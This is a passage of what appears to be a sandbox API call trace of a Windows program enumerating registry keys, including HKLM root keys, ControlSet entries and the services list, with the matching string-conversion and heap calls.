lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0193.903] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0193.903] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0193.904] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0193.904] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0193.904] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0193.904] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0193.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0193.904] RegCloseKey (hKey=0x140) returned 0x0 [0193.904] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0193.904] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0193.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0193.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0193.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0193.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0193.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0193.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0193.905] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0193.906] RegCloseKey (hKey=0x80000002) returned 0x0 [0193.906] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0193.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0193.906] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0193.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0193.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.906] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0193.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0193.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.907] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.907] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.907] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0193.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.907] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.908] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.908] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.908] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0193.908] RegCloseKey (hKey=0x9c) returned 0x0 [0193.908] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0193.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.909] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.909] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.909] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0193.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.910] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.910] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0193.910] RegCloseKey (hKey=0x140) returned 0x0 [0193.910] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 